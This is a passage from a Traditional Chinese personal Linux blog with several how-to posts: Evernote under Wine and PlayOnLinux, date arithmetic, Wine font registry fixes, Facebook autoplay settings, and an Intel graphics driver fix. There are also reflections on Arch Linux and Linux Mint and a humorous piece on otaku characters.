<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqGheIbLKvQy4QxMOia8Pv2q0jE4rvrHdjKO3zXikSfTI2CMGRBmZkq3bIKhkZvNJAl5ibpnfKXkq3lkkusSZAiyCmyM52nBBOv1YsVhdQBZLSgaVDWbd-h9ETaACvS-soPNkUVVZgwC4/s1600/15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqGheIbLKvQy4QxMOia8Pv2q0jE4rvrHdjKO3zXikSfTI2CMGRBmZkq3bIKhkZvNJAl5ibpnfKXkq3lkkusSZAiyCmyM52nBBOv1YsVhdQBZLSgaVDWbd-h9ETaACvS-soPNkUVVZgwC4/s1600/15.png" height="406" width="640" /></a></div>
點選 new task、輸入 explorer<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcHT-mDOL2My99VVPIP4qSUbIQR0lugEnB14ogwkZlU28XmtEXj_oBwIR3zdOGLdaP5A8VNhKOhTDGTv8BiYEz0WgW7wG6TFpiyTRyrvnLYYIc6YH2pWP0ooyvYbrof4IhbGBaLHCXSLU/s1600/16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcHT-mDOL2My99VVPIP4qSUbIQR0lugEnB14ogwkZlU28XmtEXj_oBwIR3zdOGLdaP5A8VNhKOhTDGTv8BiYEz0WgW7wG6TFpiyTRyrvnLYYIc6YH2pWP0ooyvYbrof4IhbGBaLHCXSLU/s1600/16.png" height="640" width="538" /></a></div>
<br />
點「My Computer」、「Control Panel」、「Internet Options」、「Advanced」<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHRJD1KJ8iLj_MCNDmfHKfcfjewgIncjbet_E-oneo8OTQxozFOadPVDSSm4L_pSwsizECUL__w0ODmW5YoqyjZKmA_UX2Icnx-JkaFF39XB-4oUqiOrcw9dRgA-udVuaq-ukgU_BbXX4/s1600/17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHRJD1KJ8iLj_MCNDmfHKfcfjewgIncjbet_E-oneo8OTQxozFOadPVDSSm4L_pSwsizECUL__w0ODmW5YoqyjZKmA_UX2Icnx-JkaFF39XB-4oUqiOrcw9dRgA-udVuaq-ukgU_BbXX4/s1600/17.png" height="500" width="640" /></a></div>
勾消 Use SSL 2.0、User SSL 3.0、勾選 Use TTL 1.0 如下圖<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4OfgDYHQ_Eu9di2WMR8ZygVzWc3sl04YAw7tXIa6Pd7T0reE9MH3_qAr7T8bBC9eKVr8DPR6m8Eoa1RkyuzwY0JKg5oKwomVMAVPz6dvDLvYpbxguW8OcoW9BlVBDTdIT7ALKNmyurVA/s1600/18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4OfgDYHQ_Eu9di2WMR8ZygVzWc3sl04YAw7tXIa6Pd7T0reE9MH3_qAr7T8bBC9eKVr8DPR6m8Eoa1RkyuzwY0JKg5oKwomVMAVPz6dvDLvYpbxguW8OcoW9BlVBDTdIT7ALKNmyurVA/s1600/18.png" height="640" width="596" /></a></div>
按 ok 儲存後,環境就設定完成了<br />
接下來登入 Evernote 一切就都正常了<br />
<br />
<br />
參考來源:<br />
<ul>
<li><a href="https://discussion.evernote.com/topic/66262-running-evernote-using-wine-on-linux/?k=880ea6a14ea49e853634fbdc5015a024&setlanguage=1&langid=36" target="_blank">https://discussion.evernote.com/topic/66262-running-evernote-using-wine-on-linux/?k=880ea6a14ea49e853634fbdc5015a024&setlanguage=1&langid=36</a></li>
<li><a href="https://discussion.evernote.com/topic/71100-evernote/" target="_blank">https://discussion.evernote.com/topic/71100-evernote/</a> </li>
</ul>
<br />Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-17571472947348056532014-09-07T09:55:00.001+08:002014-09-07T09:55:51.770+08:00使用 date 指令計算日期如何快速的算出3個禮拜前是幾月幾號呢?<br />
難道還要自己寫判斷式嗎?別鬧了 <br />
使用 date 指令就可以快速的算出來了 <br />
<br />
<br />
<blockquote class="tr_bq">
<pre><code>$ date -d 'now + 3 weeks'
日 9月 28 09:46:07 CST 2014
$ date -d 'Aug 4 + 3 weeks'
日 9月 28 09:46:07 CST 2014
$ date -d 'Jan 1 1982 + 11 weeks'
五 3月 19 00:00:00 CST 1982</code></pre>
</blockquote>
只要這樣子使用就可以快速的算出來囉!<br />
如果你只需要年月日<br />
你也可以這麼寫<br />
<blockquote class="tr_bq">
$ date -d 'now - 3 weeks' +%y%m%d<br />
140817</blockquote>
<blockquote>
$ date -d 'now - 3 weeks' +%Y%m%d<br />20140817</blockquote>
如果的檔名是用日期來命名<br />
你又想要排程刪除特定日期的檔案 <br />
那麼這個計算方式就很管用了<br />
<br />
參考來源:<br />
<ul>
<li><a href="http://unix.stackexchange.com/questions/24626/quickly-calculate-date-differences">http://unix.stackexchange.com/questions/24626/quickly-calculate-date-differences</a> </li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-39156316401394413602014-09-04T12:34:00.003+08:002014-09-04T12:34:54.794+08:00Arch Linux 使用心得2013 年 12 月底被朋友推坑使用 Arch Linux。其實我一直很討厭這種難以安裝的發行版,感覺實在很浪費時間,為什麼我要把時間花在安裝系統上呢?別的發行版只要 20 分鐘就可以做完的事,我卻要花上一整天在搞定所有的安裝,怎麼想都覺得實在太 stupid 了,可是後來我發現這一切是值得的。<br />
<br />
我分成以下幾點來說明<br />
<ol>
<li>系統的複雜性:Ubuntu、Linux Mint 這類新手向的發行版,因為主要的使用者是新手,有很多麻煩的東西都幫你搞定了,而因為在安裝的過程中,你的參與的程度很低,於是你可能會因為如此而搞不懂到底該調整哪裡才會是我想要的樣子,或者是這個 bug 到底該怎麼解,於是你會花更多的時間在調整系統,或者在搜尋資訊上。</li>
<li>套件複雜的相依性:因為新手向的系統會幫使用者 考慮他們需要的相關套件,於是你可能只想要安裝某個 A 套件,但是因為系統覺得你可能還會需要 B、C、D 套件,於是一堆哩哩扣扣的套件就一起通通都被安裝進來,像是我如果只要裝個 gnome 的某個套件,在 Linux Mint 底下卻連整個 gnome 的桌面都裝進來了,這對我來說實在是一種困擾。</li>
<li>升級的困難性:不管是 Fedora、Ubuntu、Linux Mint ,以及很多基於這些發行版再衍生出去的發行版,每次如果要升級都是一件很麻煩的事,不知道為什麼,我在 Ubuntu 底下使用指令升級,從來都沒有成功過,導致我每次升級都是要重新安裝系統,安裝完系統後又要安裝我慣用的套件,然後再來就是就修正、調整新版本的 bug,而每個版本會遇到的問題、 bug 都不盡相同,所以升級就變成了是一件很辛苦的事。</li>
</ol>
基於以上幾點,於是我決定開始轉換到 Arch Linux 來使用看看,一開始確實花上我一整天的時間在調整與安裝,但是也因此我更能理解這個系統我裝了什麼,以及我為什麼要裝他,從 0 到有的成就感也是在其他發行版上找不到的,而最棒的是「 滾動式更新 ( Rolling Release ) 」,會從 Linux Mint 跳到 Arch Linux 的主因就是為了 Rolling Release ,升級再也不是一件苦差事了,我的系統不用再重灌也可以享有最新的套件,也不會像 Ubuntu 如果不升級,你的套件庫可能也不會再繼續更新,想要使用新版的套件就得升級發行版,不然就是自己 compile 。<br />
目前有使用滾動式更新的發行版有 Debian、OpenSUSE、Arch Linux以及 Arch Linux 的衍生發行版,Debian 是個很優異的發行版,他的相當龐大的套件庫,而 Arch Linux 的官方套件庫雖然沒有 Debian 那麼大,但是如果加上 AUR ( Arch 使用者套件庫 ) 兩者就不相上下了,而 Debian 對於授權條款是相當要求的,我想有使用過 Debian 的朋友應該知道,而 Arch Linux 則是將授權條款的選擇權交給使用者,所以自然也沒那麼龜毛了,於是在安裝 Arch Linux 套件時是相當自由的,你幾乎可以決定任何事來打造屬於你自己的系統。也因為這是你自己打造出來的系統,你對他最了解,自然在調整系統上你就不會像其他的發行版那麼樣的懵懵懂懂了。<br />
<br />
而如果你是新手,對 Linux 充滿興趣,但是對指令都還很不熟,建議你還是先使用 Linux Mint 先讓 Mint 把這些麻煩事幫你解決,你再來好好學習這個系統。<br />
<br />
如果你覺得 Linux Mint 已經無法滿足你的求知慾了,而你對指令也有一定程度的了解了,歡迎來使用看看 Arch Linux 體驗看看自己一手打造系統的感覺。<br />
<br />Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-82309502661015847802014-08-23T08:31:00.001+08:002014-10-24T13:39:52.862+08:00解決 evernote 在 playonlinux 中同步問題<span style="font-size: x-large;"><span style="color: red;">Evernote 5.6.4.4632 版不再適用此方法,請改參考<a href="http://max-linux-space.blogspot.com/2014/10/evernote-5644632.html" target="_blank">此篇文章</a></span></span><br />
我現在使用的 wine 版本是 1.7.24<br />
evernote 5.5.3.4236 看起來都很正常<br />
可惜就是不能上傳附加檔案<br />
可以下載筆記回來,也可以上傳純文字筆記,但是就是不能上傳附加檔案的筆記<br />
後來終於被我 <a href="https://forum.winehq.org/viewtopic.php?p=74609" target="_blank">search</a> 到了 <br />
其實很簡單只要在 playonlinux 中安裝 wininet 的套件就可以了<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBoieL_Gt8Jq6w5GEq5khPqV85xZx8J4ydVCT0PnV9ZXbAuW99OX63zh0IaIXrkQK6hkrr4ZAMaakTRI4sDDFuh6o_pXnNz0jF2AAyNoBCR6eIq4J2dT9nXJ1ukX_3IGm2OiZI6BJjJM8/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBoieL_Gt8Jq6w5GEq5khPqV85xZx8J4ydVCT0PnV9ZXbAuW99OX63zh0IaIXrkQK6hkrr4ZAMaakTRI4sDDFuh6o_pXnNz0jF2AAyNoBCR6eIq4J2dT9nXJ1ukX_3IGm2OiZI6BJjJM8/s1600/9.png" height="402" width="640" /></a></div>
安裝完,重啟你的 evernote 就沒問題了<br />
<br />
參考來源:<br />
<ol>
<li><a href="https://bugs.winehq.org/show_bug.cgi?id=16831#c39" target="_blank">https://bugs.winehq.org/show_bug.cgi?id=16831#c39</a></li>
<li><a href="https://forum.winehq.org/viewtopic.php?p=74609">https://forum.winehq.org/viewtopic.php?p=74609</a> </li>
</ol>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-10659387604960353752014-08-22T13:22:00.003+08:002014-08-22T13:22:54.267+08:00解決在 Linux 中安裝 Evernote 出現方塊字的問題目前我使用 Evernote 5.5.3.4236 的版本,安裝在 Playonlinux 中使用,<br />
安裝時中文都會是方塊字,但是安裝後部份介面是中文的,部份則是方塊字,<br />
解決方法如下<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLzrxl8A8bHKLgrSkSuSlsI8NKLU1DIva5CCa6GXiQyamRqDsHZhaBqeBIRK3p_r32nHsqbx5iDo8caDH3KzJQW3WXcKXa37WoJZZ_1RZw-w7UTusFhNKTjyfyBFTbcJxqMZNNbAOo6s0/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLzrxl8A8bHKLgrSkSuSlsI8NKLU1DIva5CCa6GXiQyamRqDsHZhaBqeBIRK3p_r32nHsqbx5iDo8caDH3KzJQW3WXcKXa37WoJZZ_1RZw-w7UTusFhNKTjyfyBFTbcJxqMZNNbAOo6s0/s1600/6.png" height="400" width="640" /></a></div>
點選 Playonlinux 中的 配置 > evernote > wine > 註冊表編輯器<br />
修改以下的註冊碼<br />
[HKEY_CURRENT_USER\Software\Wine\Fonts\Replacements]<br />"SimSun"="AR PL UMing TW"<br />"Tahoma"="Arial"<br />"宋體"="AR PL UMing TW"<br />"新宋體"="AR PL UMing TW"<br />"新細明體"="AR PL UMing TW"<br />"細明體"="AR PL UMing TW"<br />
<br />如果你沒有 Replacements 就用右鍵新增索引鍵<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWDY0B1n5qOID44GnV8T53IbGnTrwpz2eWyVCw5eWhwi2Kmf7kYzlRNR-sFxCaDiM7EiUFPeG4EMttQTThP_Jkt2MF3Gob1n84-GHuHzwVGs58Lt7T9PtvKZb5GTcapBqI9RlUNxtbA1k/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWDY0B1n5qOID44GnV8T53IbGnTrwpz2eWyVCw5eWhwi2Kmf7kYzlRNR-sFxCaDiM7EiUFPeG4EMttQTThP_Jkt2MF3Gob1n84-GHuHzwVGs58Lt7T9PtvKZb5GTcapBqI9RlUNxtbA1k/s1600/7.png" height="364" width="640" /></a></div>
看起來就像這樣,重新再開啟你的 evernote 中文方塊字的問題就解決了<br />
<br />Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-16839482992749868622014-01-29T09:05:00.000+08:002014-01-29T09:05:02.710+08:00如何關閉 facebook 在 3G 模式下自動播放影片打開 Facebook App<br />
按下左上角的三條線的符號<br />
找到「<b>應用程式設定</b>」<br />
<span id="goog_366363222"></span><span id="goog_366363223"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyi_G7ChNrthYxTFEyK4Nf4VWGRz4Sa_wabz0tHQAiuWc2vZFt1_qcMbrE4DKzYiCU1QH4rYTHYMm_pD2rRrdp9jCr7-iGLMGk2UKmBMrNc1U50z5WvhuQwdbM8vwZookZB7Jux2RDs4A/s1600/2014-01-28+13.54.13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyi_G7ChNrthYxTFEyK4Nf4VWGRz4Sa_wabz0tHQAiuWc2vZFt1_qcMbrE4DKzYiCU1QH4rYTHYMm_pD2rRrdp9jCr7-iGLMGk2UKmBMrNc1U50z5WvhuQwdbM8vwZookZB7Jux2RDs4A/s1600/2014-01-28+13.54.13.png" height="640" width="360" /></a></div>
<br />
將「<b>只限 wifi 連線時自動播放影片</b>」 勾起<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavOoB7Hdam3XJIiWPFDKvrs_lojI_MZerQolnpd3BZnMPvPhpFYLCByaxEWK1JHIsOhvX9bnlI2JdXHhngCGa2RJ0mfmk6ZHn5syjuJ74VnofEjbDCLNvUiTpqrW_DjaI5I-CNsOUkCE/s1600/2014-01-28+13.52.55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavOoB7Hdam3XJIiWPFDKvrs_lojI_MZerQolnpd3BZnMPvPhpFYLCByaxEWK1JHIsOhvX9bnlI2JdXHhngCGa2RJ0mfmk6ZHn5syjuJ74VnofEjbDCLNvUiTpqrW_DjaI5I-CNsOUkCE/s1600/2014-01-28+13.52.55.png" height="640" width="360" /></a></div>
即可取消在 3G 模式下也會自動播放影片的功能<br />
尤其你不是吃到飽的網路<br />
更是需要這麼設定Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-40858337537926062152013-10-22T16:25:00.000+08:002013-10-22T19:52:18.918+08:00Linux Mint 15 KDE 使用心得之前因為 Chakra 的 gtk+ free 的政策愈趨嚴格,<br />
導致我在使用常用的軟體上出現了無法使用的狀況。<br />
也找不到解決的方法。<br />
於是我開始尋找新的發行版。<br />
其中我使用過了 opensuse 、 fedora 和 linux mint 。<br />
優劣問題我就不說了,畢竟每個人心中都有一套他認為最好的發行版,<br />
對我目前而言, linux mint 是我覺得最好用的發行版。<br />
目前使用 linux mint 已經有半年左右的時間,<br />
在安裝之後的調校是我所使用過的發行版中所花的時間(半小時)最少的,<br />
系統也是相當的穩定,在更新之後還沒有炸掉的情況。<br />
影音部份的支援也是在安裝完系統之後就已經搞定了,完全不用調校。<br />
幫老手節省時間,幫新手搞定一切。大概就是 linux mint 在做的事。<br />
在 <a href="http://distrowatch.com/">distrowatch.com</a> 中 linux mint 也已經蟬聯第1名有2年之久,<br />
可見 linux mint 真的是很受歡迎。<br />
如果你對 linux 的印象還是停留在很難用、很難入門的情況,<br />
也許你可以試試 linux mint ,也許你會完全不一樣的感受。Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-59979549224154443662013-07-08T12:43:00.002+08:002013-07-08T17:47:00.497+08:00說文解字----它宅宒竁現今社會,太多人誤解了宅男,其實宅男也是有分等級的<br />
「它」這個字原本是指無生命物的第3人稱<br />
<a name='more'></a>但是現在引申為是一個人在家中的待著的狀態<br />
「宀」是指屋頂、房子<br />
「匕」則是一個人坐著打電腦的姿勢<br />
基本上「它」只能算是輕宅男而已<br />
描述一個人不常出門,漸漸變成「無生命」的狀態,<br />
大家開始用「它」取代「他」來稱呼這樣的人<br />
不過這樣離所謂的宅男還太遠<br />
充其量只是比較喜歡顧家<br />
不愛出門而已<br />
<br />
「宅」原本是只住宅的意思<br />
現在引申出「宅男」義指不愛出門又愛看動漫的人<br />
在「它」字中已經有解釋過,這是指一個人在家的情境<br />
而「宅」則是由「宀」「二」「反J」所組成<br />
其中的「二」指得是二次元的意思<br />
而「反J」則是將二次元串起來<br />
宅宅們喜歡二次元的作品<br />
所謂的二次元當然是只一般的動畫、漫畫等作品<br />
而「宅」中的「二」除了指二次元之外<br />
還帶有加強「它」的示意作用<br />
利用兩筆劃來加強「它」所表現出來的義含<br />
所以「宅」在程度上來說是比「它」來的強烈一點<br />
<br />
「宒」(ㄓㄨㄣ)意指棺材的外貌<br />
現在則引申出宅到棺材裡也要宅的意思<br />
「宒」這個字由「宀」「三」「反J」所組成<br />
其中的三並不是喜歡三次元<br />
而是強化了「宅」中的「二」的意思<br />
也就是「宒」比「宅」更愛更愛二次元<br />
所以「宒」比「宅」再多上一橫<br />
表其強化之意<br />
也因為一心愛上了二次元<br />
所以對於三次元的一切相對是秉棄的<br />
到了這個境界<br />
基本上應該已經尊稱為「神」了<br />
所謂的「宅神」其實還早個一百萬年呢<br />
<br />
希望以後記者可以分的出來「它它」「宅宅」「宒宒」之間的差別<br />
<br />
另外補充「竁」(ㄘㄨㄟ\)這個字<br />
「竁」是指墓穴的意思<br />
有一堆「宒」的地方就是「竁」了<br />
而「竁」引申出來的意思就是指一些大型的動漫活動<br />
吸引了大量的「宒」去參加<br />
於是我們把許多「宒」所聚集的地點稱之為「竁」Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-21436531193112071572013-05-25T18:03:00.003+08:002013-05-25T18:03:50.331+08:00試用文鼎web fonts最近朋友接觸了<a href="https://webfont.arphic.com/">文鼎網路字型</a>,我也來試著使用看看,<br />
在<a href="http://webfont.arphic.com/index/account_setting.jsp">設定網路字型</a>中,先新增你的網站網址 <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4KztNLQPAz9uAGdRvPOwZBU3SeAdL0JpRxG8Yg5dGi8lALh9VKXtkDPiJ98aqDEl_JeQSD9MU2KJybZgVq9gaL6wOEz-z3zbT3YmZFGKoJPDrxbnmizBcEL9Z3ejVoa7wICqF7eb-bY/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4KztNLQPAz9uAGdRvPOwZBU3SeAdL0JpRxG8Yg5dGi8lALh9VKXtkDPiJ98aqDEl_JeQSD9MU2KJybZgVq9gaL6wOEz-z3zbT3YmZFGKoJPDrxbnmizBcEL9Z3ejVoa7wICqF7eb-bY/s400/1.png" width="400" /></a></div>
點選右上角的「新增」<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGTbXkStOyopfqpDEehyphenhyphenudPMI81lMBk0U3oUcS9UWLQRBLZtFwfuikCIiuu_vr2rYGEwQ4WRQAeQY9XpI6s2fkmqGf8EtlUHoFK0L7kzhgL4OjCLybdh04BRmFIrAjwpeKpHcwbEpWKq0/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGTbXkStOyopfqpDEehyphenhyphenudPMI81lMBk0U3oUcS9UWLQRBLZtFwfuikCIiuu_vr2rYGEwQ4WRQAeQY9XpI6s2fkmqGf8EtlUHoFK0L7kzhgL4OjCLybdh04BRmFIrAjwpeKpHcwbEpWKq0/s320/2.png" width="320" /></a></div>
輸入你的網站名稱與網址,然後儲存<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4KztNLQPAz9uAGdRvPOwZBU3SeAdL0JpRxG8Yg5dGi8lALh9VKXtkDPiJ98aqDEl_JeQSD9MU2KJybZgVq9gaL6wOEz-z3zbT3YmZFGKoJPDrxbnmizBcEL9Z3ejVoa7wICqF7eb-bY/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4KztNLQPAz9uAGdRvPOwZBU3SeAdL0JpRxG8Yg5dGi8lALh9VKXtkDPiJ98aqDEl_JeQSD9MU2KJybZgVq9gaL6wOEz-z3zbT3YmZFGKoJPDrxbnmizBcEL9Z3ejVoa7wICqF7eb-bY/s400/1.png" width="400" /></a></div>
再按下設定,來設定字型<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKJWYFCSQJbalE63Xr1ETFTN-k_6EOwPU2fmiFfO4Ych3JVlCzPh4jS33NPuC0vIqBtTq6CB2F2k_njH8hEnHlJKW-d6Hyax8CUI3PSMvUWopE2pT8FisTIG8lNDNi6q6vqDdvrXADk9A/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKJWYFCSQJbalE63Xr1ETFTN-k_6EOwPU2fmiFfO4Ych3JVlCzPh4jS33NPuC0vIqBtTq6CB2F2k_njH8hEnHlJKW-d6Hyax8CUI3PSMvUWopE2pT8FisTIG8lNDNi6q6vqDdvrXADk9A/s400/3.png" width="400" /></a></div>
一樣按下新增<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfvhDEqoh8Lup52PnTabvRzm_R9xMz_XsK9ZSqvFCQ8R4z4y_qT_S2PkA7cg_YAAgDznZg8nIrCo0wmaU267-KuNH2DrsTOqOlmTEzN5xYWEfLVC_wWJUwXULAK0nxrs3aAfqxv1kLdVI/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfvhDEqoh8Lup52PnTabvRzm_R9xMz_XsK9ZSqvFCQ8R4z4y_qT_S2PkA7cg_YAAgDznZg8nIrCo0wmaU267-KuNH2DrsTOqOlmTEzN5xYWEfLVC_wWJUwXULAK0nxrs3aAfqxv1kLdVI/s400/4.png" width="400" /></a></div>
元素的地方請輸入「div」<br />
然後選擇你喜歡的中文和英文字型,並且儲存<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4KztNLQPAz9uAGdRvPOwZBU3SeAdL0JpRxG8Yg5dGi8lALh9VKXtkDPiJ98aqDEl_JeQSD9MU2KJybZgVq9gaL6wOEz-z3zbT3YmZFGKoJPDrxbnmizBcEL9Z3ejVoa7wICqF7eb-bY/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij4KztNLQPAz9uAGdRvPOwZBU3SeAdL0JpRxG8Yg5dGi8lALh9VKXtkDPiJ98aqDEl_JeQSD9MU2KJybZgVq9gaL6wOEz-z3zbT3YmZFGKoJPDrxbnmizBcEL9Z3ejVoa7wICqF7eb-bY/s400/1.png" width="400" /></a></div>
接下來再回到設定網路字型的地方,按下「JS」<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6xKLCIRBO1DIQzXLEz4meWS0mshlZPeaRPk2XfzDrNLAU8X-ddLyxv2TznXN_BnaacGKEvz-GvC7svOfWOQNdCLWiz5lNlUBkmvNWRjaMJrNt43e57JEOhxRTcpsz4Yt6x7BuEfS7s40/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6xKLCIRBO1DIQzXLEz4meWS0mshlZPeaRPk2XfzDrNLAU8X-ddLyxv2TznXN_BnaacGKEvz-GvC7svOfWOQNdCLWiz5lNlUBkmvNWRjaMJrNt43e57JEOhxRTcpsz4Yt6x7BuEfS7s40/s400/5.png" width="400" /></a></div>
將這裏面的html碼放到你的網頁中的<head>標籤裏面</head><br />
如果以blogger為例,就是在「範本」裏面的「編輯html」<br />
然後把剛剛JS裏面的HTML碼,放到<head>的標籤裏面就可以了</head><br />
<br />
<a href="http://webfont.arphic.com/index/discount.jsp">現在到5/31還有開放免費試用喔!</a> Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-65163178562297491252013-05-19T18:41:00.000+08:002013-05-22T08:26:29.458+08:00解決部份 蘋果字型無法正常顯示問題 <span style="color: red;"><b><span style="font-size: large;">因為有授權的疑慮,我已經將連結移除了</span></b></span><br />
<br />
看得到這個字型嗎? 「」<br />
<span class="qualifier q_says">如果不行,只要安裝ttf-mac-fonts就可以了</span><br />
<span class="qualifier q_says">下載回來後,解壓縮,然後將檔案複製到 /usr/share/fonts/ </span><br />
<span class="qualifier q_says">並且清除cache就可以了</span><br />
<br />
<code><span class="qualifier q_says">tar xvf ttf-mac-fonts.tar.gz</span><br />
<span class="qualifier q_says">cd ttf-mac-fonts </span><br />
<span class="qualifier q_says">sudo cp *.ttf </span><span class="qualifier q_says">/usr/share/fonts/</span><br />
<span class="qualifier q_says">fc-cache -vf </span></code>
<br />
<br />
參考來源:<br />
<ul>
<li> ttf-mac-fonts.tar.gz </li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-38503957523699694432013-05-01T10:43:00.000+08:002013-05-01T10:43:00.070+08:00解決xf86-video-intel升版後顯示不正確問題xf86-video-intel是intel顯卡的驅動程式<br />
之前的舊版在我的電腦上沒什麼問題<br />
不過因為電腦硬體日新月異<br />
驅動程式也跟著進步<br />
但是我的電腦卻沒跟著換<br />
導致後來的驅動程式開始使用新的預設值<br />
卻造成我這舊硬體顯示不正確<br />
像是在FB上看圖片<br />
常常就會有哪種只顯示一部份的情況<br />
像是這樣<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCual7AIm8K7IC2A51KACPxeOSxYeSY4st68TWquZn0bAlxO3lmxunkcU2aOLr-ON9yiCOcJXoutBEdR94a8U5l4RaWwL5Ir1l60V108ExESKAvVfQZfVWo5mATxVOyS15x5B-emV5XKs/s1600/cgsg013.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCual7AIm8K7IC2A51KACPxeOSxYeSY4st68TWquZn0bAlxO3lmxunkcU2aOLr-ON9yiCOcJXoutBEdR94a8U5l4RaWwL5Ir1l60V108ExESKAvVfQZfVWo5mATxVOyS15x5B-emV5XKs/s1600/cgsg013.png" width="640" /></a></div>
就是會莫名其妙的黑一片<br />
<br />
<a name='more'></a>其實這是因為新的xf86-video-intel使用了SNA的模式來顯示畫面<br />
<ul>
<li>SNA (Sandybridge's New Acceleration)</li>
<li>UXA (Unified Acceleration Architecture)</li>
</ul>
簡單的來說UXA是相容舊硬體SNA是採用Sandybridge的新硬體架構模式<br />
那麼我們該怎麼來切換呢?<br />
<br />
你只要修改/etc/X11/xorg.conf.d/20-intel.conf這個檔案就可以了<br />
<br />
<code>$sudo vi /etc/X11/xorg.conf.d/20-intel.conf<br />
